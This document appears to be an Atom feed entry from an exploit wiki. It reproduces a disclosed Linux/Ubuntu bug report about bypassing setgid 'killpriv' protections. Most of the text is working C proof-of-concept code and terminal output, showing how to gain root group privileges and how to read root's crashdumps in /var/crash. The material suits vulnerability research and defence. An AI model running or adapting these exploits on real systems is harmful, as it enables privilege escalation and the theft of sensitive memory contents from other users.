<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Linux%2FUbuntu_Coredump_Reading_Access_Bypass</id>
	<title>Linux/Ubuntu Coredump Reading Access Bypass - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Linux%2FUbuntu_Coredump_Reading_Access_Bypass"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Linux/Ubuntu_Coredump_Reading_Access_Bypass&amp;action=history"/>
	<updated>2026-04-16T19:08:56Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Linux/Ubuntu_Coredump_Reading_Access_Bypass&amp;diff=754&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; Linux/Ubuntu: other users&amp;#39; coredumps can be read via setgid directory and killpriv bypass      Note: I am both sending this bug report to &lt;a href=&quot;mailto:sec...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Linux/Ubuntu_Coredump_Reading_Access_Bypass&amp;diff=754&amp;oldid=prev"/>
		<updated>2021-03-29T14:27:53Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; Linux/Ubuntu: other users&amp;#039; coredumps can be read via setgid directory and killpriv bypass      Note: I am both sending this bug report to &amp;lt;a href=&amp;quot;mailto:sec...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Linux/Ubuntu: other users&amp;amp;#39; coredumps can be read via setgid directory and killpriv bypass &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Note: I am both sending this bug report to &amp;lt;a href=&amp;quot;mailto:security@kernel.org&amp;quot; title=&amp;quot;&amp;quot; class=&amp;quot;&amp;quot; rel=&amp;quot;nofollow&amp;quot;&amp;gt;security@kernel.org&amp;lt;/a&amp;gt; and filing it in&lt;br /&gt;
the Ubuntu bugtracker because I can't tell whether this counts as a kernel bug&lt;br /&gt;
or as a Ubuntu bug. You may wish to talk to each other to determine the best&lt;br /&gt;
place to fix this.&lt;br /&gt;
&lt;br /&gt;
I noticed halfdog's old writeup at&lt;br /&gt;
&amp;lt;a href=&amp;quot;https://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/&amp;quot; title=&amp;quot;&amp;quot; class=&amp;quot;&amp;quot; rel=&amp;quot;nofollow&amp;quot;&amp;gt;https://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/&amp;lt;/a&amp;gt;&lt;br /&gt;
, describing essentially the following behavior in combination with a&lt;br /&gt;
trick for then writing to the resulting file without triggering the&lt;br /&gt;
killpriv logic:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=============&lt;br /&gt;
user@debian:~/sgid_demo$ sudo mkdir -m03777 dir&lt;br /&gt;
user@debian:~/sgid_demo$ cat &amp;gt; demo.c&lt;br /&gt;
#include &amp;lt;fcntl.h&amp;gt;&lt;br /&gt;
int main(void) { open(&amp;quot;dir/file&amp;quot;, O_RDONLY|O_CREAT, 02755); }&lt;br /&gt;
user@debian:~/sgid_demo$ gcc -o demo demo.c&lt;br /&gt;
user@debian:~/sgid_demo$ ./demo&lt;br /&gt;
user@debian:~/sgid_demo$ ls -l dir/file&lt;br /&gt;
-rwxr-sr-x 1 user root 0 Jun 25 22:03 dir/file&lt;br /&gt;
=============&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Two patches for this were proposed on LKML back then:&lt;br /&gt;
&amp;quot;[PATCH 1/2] fs: Check f_cred instead of current's creds in&lt;br /&gt;
should_remove_suid()&amp;quot;&lt;br /&gt;
&amp;lt;a href=&amp;quot;https://lore.kernel.org/lkml/9318903980969a0e378dab2de4d803397adcd3cc.1485377903.git.luto@kernel.org/&amp;quot; title=&amp;quot;&amp;quot; class=&amp;quot;&amp;quot; rel=&amp;quot;nofollow&amp;quot;&amp;gt;https://lore.kernel.org/lkml/9318903980969a0e378dab2de4d803397adcd3cc.1485377903.git.luto@kernel.org/&amp;lt;/a&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;quot;[PATCH 2/2] fs: Harden against open(..., O_CREAT, 02777) in a setgid directory&amp;quot;&lt;br /&gt;
&amp;lt;a href=&amp;quot;https://lore.kernel.org/lkml/826ec4aab64ec304944098d15209f8c1ae65bb29.1485377903.git.luto@kernel.org/&amp;quot; title=&amp;quot;&amp;quot; class=&amp;quot;&amp;quot; rel=&amp;quot;nofollow&amp;quot;&amp;gt;https://lore.kernel.org/lkml/826ec4aab64ec304944098d15209f8c1ae65bb29.1485377903.git.luto@kernel.org/&amp;lt;/a&amp;gt;&lt;br /&gt;
&lt;br /&gt;
However, as far as I can tell, neither of them actually landed.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
You can also bypass the killpriv logic with fallocate() and mmap() -&lt;br /&gt;
fallocate() permits resizing the file without triggering killpriv,&lt;br /&gt;
mmap() permits writing without triggering killpriv (the mmap part is mentioned&lt;br /&gt;
at&lt;br /&gt;
&amp;lt;a href=&amp;quot;https://lore.kernel.org/lkml/CAGXu5jLu6OGkQUgqRcOyQ6DABOwZ9HX3fUQ+-zC7NjLukGKnVw@mail.gmail.com/&amp;quot; title=&amp;quot;&amp;quot; class=&amp;quot;&amp;quot; rel=&amp;quot;nofollow&amp;quot;&amp;gt;https://lore.kernel.org/lkml/CAGXu5jLu6OGkQUgqRcOyQ6DABOwZ9HX3fUQ+-zC7NjLukGKnVw@mail.gmail.com/&amp;lt;/a&amp;gt;&lt;br /&gt;
):&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=============&lt;br /&gt;
user@debian:~/sgid_demo$ sudo mkdir -m03777 dir&lt;br /&gt;
user@debian:~/sgid_demo$ cat fallocate.c&lt;br /&gt;
#define _GNU_SOURCE&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
#include &amp;lt;fcntl.h&amp;gt;&lt;br /&gt;
#include &amp;lt;err.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/mman.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/stat.h&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main(void) {&lt;br /&gt;
  int src_fd = open(&amp;quot;/usr/bin/id&amp;quot;, O_RDONLY);&lt;br /&gt;
  if (src_fd == -1)&lt;br /&gt;
    err(1, &amp;quot;open 2&amp;quot;);&lt;br /&gt;
  struct stat src_stat;&lt;br /&gt;
  if (fstat(src_fd, &amp;amp;src_stat))&lt;br /&gt;
    err(1, &amp;quot;fstat&amp;quot;);&lt;br /&gt;
  int src_len = src_stat.st_size;&lt;br /&gt;
  char *src_mapping = mmap(NULL, src_len, PROT_READ, MAP_PRIVATE, src_fd, 0);&lt;br /&gt;
  if (src_mapping == MAP_FAILED)&lt;br /&gt;
    err(1, &amp;quot;mmap 2&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
  int fd = open(&amp;quot;dir/file&amp;quot;, O_RDWR|O_CREAT|O_EXCL, 02755);&lt;br /&gt;
  if (fd == -1)&lt;br /&gt;
    err(1, &amp;quot;open&amp;quot;);&lt;br /&gt;
  if (fallocate(fd, 0, 0, src_len))&lt;br /&gt;
    err(1, &amp;quot;fallocate&amp;quot;);&lt;br /&gt;
  char *mapping = mmap(NULL, src_len, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);&lt;br /&gt;
  if (mapping == MAP_FAILED)&lt;br /&gt;
    err(1, &amp;quot;mmap&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  memcpy(mapping, src_mapping, src_len);&lt;br /&gt;
&lt;br /&gt;
  munmap(mapping, src_len);&lt;br /&gt;
  close(fd);&lt;br /&gt;
  close(src_fd);&lt;br /&gt;
&lt;br /&gt;
  execl(&amp;quot;./dir/file&amp;quot;, &amp;quot;id&amp;quot;, NULL);&lt;br /&gt;
  err(1, &amp;quot;execl&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
user@debian:~/sgid_demo$ gcc -o fallocate fallocate.c&lt;br /&gt;
user@debian:~/sgid_demo$ ./fallocate&lt;br /&gt;
uid=1000(user) gid=1000(user) egid=0(root)&lt;br /&gt;
groups=0(root),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),116(scanner),121(wireshark),1000(user)&lt;br /&gt;
=============&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
sys_copy_file_range() also looks as if it bypasses killpriv on&lt;br /&gt;
supported filesystems, but I haven't tested that one so far.&lt;br /&gt;
&lt;br /&gt;
On Ubuntu 18.04 (bionic), /var/crash is mode 03777, group &amp;quot;whoopsie&amp;quot;, and&lt;br /&gt;
contains group-readable crashdumps in some custom format, so you can use this&lt;br /&gt;
issue to steal other users' crashdumps:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=============&lt;br /&gt;
user@ubuntu-18-04-vm:~$ ls -l /var/crash&lt;br /&gt;
total 296&lt;br /&gt;
-rw-r----- 1 user whoopsie  16527 Jun 25 22:27 _usr_bin_apport-unpack.1000.crash&lt;br /&gt;
-rw-r----- 1 root whoopsie  50706 Jun 25 21:51 _usr_bin_id.0.crash&lt;br /&gt;
-rw-r----- 1 user whoopsie  51842 Jun 25 21:42 _usr_bin_id.1000.crash&lt;br /&gt;
-rw-r----- 1 user whoopsie 152095 Jun 25 21:43 _usr_bin_strace.1000.crash&lt;br /&gt;
-rw-r----- 1 root whoopsie  18765 Jun 26 00:42 _usr_bin_xattr.0.crash&lt;br /&gt;
user@ubuntu-18-04-vm:~$ cat /var/crash/_usr_bin_id.0.crash&lt;br /&gt;
cat: /var/crash/_usr_bin_id.0.crash: Permission denied&lt;br /&gt;
user@ubuntu-18-04-vm:~$ cat fallocate.c &lt;br /&gt;
#define _GNU_SOURCE&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
#include &amp;lt;fcntl.h&amp;gt;&lt;br /&gt;
#include &amp;lt;err.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/mman.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/stat.h&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char **argv) {&lt;br /&gt;
  if (argc != 2) {&lt;br /&gt;
    printf(&amp;quot;usage: ./fallocate &amp;lt;file_to_read&amp;gt;&amp;quot;);&lt;br /&gt;
    return 1;&lt;br /&gt;
  }&lt;br /&gt;
  int src_fd = open(&amp;quot;/bin/cat&amp;quot;, O_RDONLY);&lt;br /&gt;
  if (src_fd == -1)&lt;br /&gt;
    err(1, &amp;quot;open 2&amp;quot;);&lt;br /&gt;
  struct stat src_stat;&lt;br /&gt;
  if (fstat(src_fd, &amp;amp;src_stat))&lt;br /&gt;
    err(1, &amp;quot;fstat&amp;quot;);&lt;br /&gt;
  int src_len = src_stat.st_size;&lt;br /&gt;
  char *src_mapping = mmap(NULL, src_len, PROT_READ, MAP_PRIVATE, src_fd, 0);&lt;br /&gt;
  if (src_mapping == MAP_FAILED)&lt;br /&gt;
    err(1, &amp;quot;mmap 2&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
  unlink(&amp;quot;/var/crash/privileged_cat&amp;quot;); /* in case we've already run before */&lt;br /&gt;
  int fd = open(&amp;quot;/var/crash/privileged_cat&amp;quot;, O_RDWR|O_CREAT|O_EXCL, 02755);&lt;br /&gt;
  if (fd == -1)&lt;br /&gt;
    err(1, &amp;quot;open&amp;quot;);&lt;br /&gt;
  if (fallocate(fd, 0, 0, src_len))&lt;br /&gt;
    err(1, &amp;quot;fallocate&amp;quot;);&lt;br /&gt;
  char *mapping = mmap(NULL, src_len, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);&lt;br /&gt;
  if (mapping == MAP_FAILED)&lt;br /&gt;
    err(1, &amp;quot;mmap&amp;quot;);&lt;br /&gt;
  memcpy(mapping, src_mapping, src_len);&lt;br /&gt;
  munmap(mapping, src_len);&lt;br /&gt;
  close(fd);&lt;br /&gt;
&lt;br /&gt;
  execl(&amp;quot;/var/crash/privileged_cat&amp;quot;, &amp;quot;cat&amp;quot;, argv[1], NULL);&lt;br /&gt;
  err(1, &amp;quot;execl&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
user@ubuntu-18-04-vm:~$ gcc -o fallocate fallocate.c&lt;br /&gt;
user@ubuntu-18-04-vm:~$ ./fallocate /var/crash/_usr_bin_id.0.crash &amp;gt; /var/crash/_usr_bin_id.0.crash.stolen&lt;br /&gt;
user@ubuntu-18-04-vm:~$ ls -l /var/crash&lt;br /&gt;
total 384&lt;br /&gt;
-rwxr-sr-x 1 user whoopsie  35064 Jul  3 19:22 privileged_cat&lt;br /&gt;
-rw-r----- 1 user whoopsie  16527 Jun 25 22:27 _usr_bin_apport-unpack.1000.crash&lt;br /&gt;
-rw-r----- 1 root whoopsie  50706 Jun 25 21:51 _usr_bin_id.0.crash&lt;br /&gt;
-rw-r--r-- 1 user whoopsie  50706 Jul  3 19:22 _usr_bin_id.0.crash.stolen&lt;br /&gt;
-rw-r----- 1 user whoopsie  51842 Jun 25 21:42 _usr_bin_id.1000.crash&lt;br /&gt;
-rw-r----- 1 user whoopsie 152095 Jun 25 21:43 _usr_bin_strace.1000.crash&lt;br /&gt;
-rw-r----- 1 root whoopsie  18765 Jun 26 00:42 _usr_bin_xattr.0.crash&lt;br /&gt;
user@ubuntu-18-04-vm:~$ mkdir root_crash_unpacked&lt;br /&gt;
user@ubuntu-18-04-vm:~$ # work around bug in apport-unpack&lt;br /&gt;
user@ubuntu-18-04-vm:~$ sed -i 's|^UserGroups: $|UserGroups: 0|' /var/crash/_usr_bin_id.0.crash.stolen&lt;br /&gt;
user@ubuntu-18-04-vm:~$ apport-unpack /var/crash/_usr_bin_id.0.crash.stolen root_crash_unpacked/&lt;br /&gt;
user@ubuntu-18-04-vm:~$ file root_crash_unpacked/CoreDump &lt;br /&gt;
root_crash_unpacked/CoreDump: ELF 64-bit LSB core file x86-64, version 1 (SYSV), SVR4-style, from 'id', real uid: 0, effective uid: 0, real gid: 0, effective gid: 0, execfn: '/usr/bin/id', platform: 'x86_64'&lt;br /&gt;
=============&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This bug is subject to a 90 day disclosure deadline. After 90 days elapse&lt;br /&gt;
or a patch has been made broadly available (whichever is earlier), the bug&lt;br /&gt;
report will become visible to the public.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Found by: jannh&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>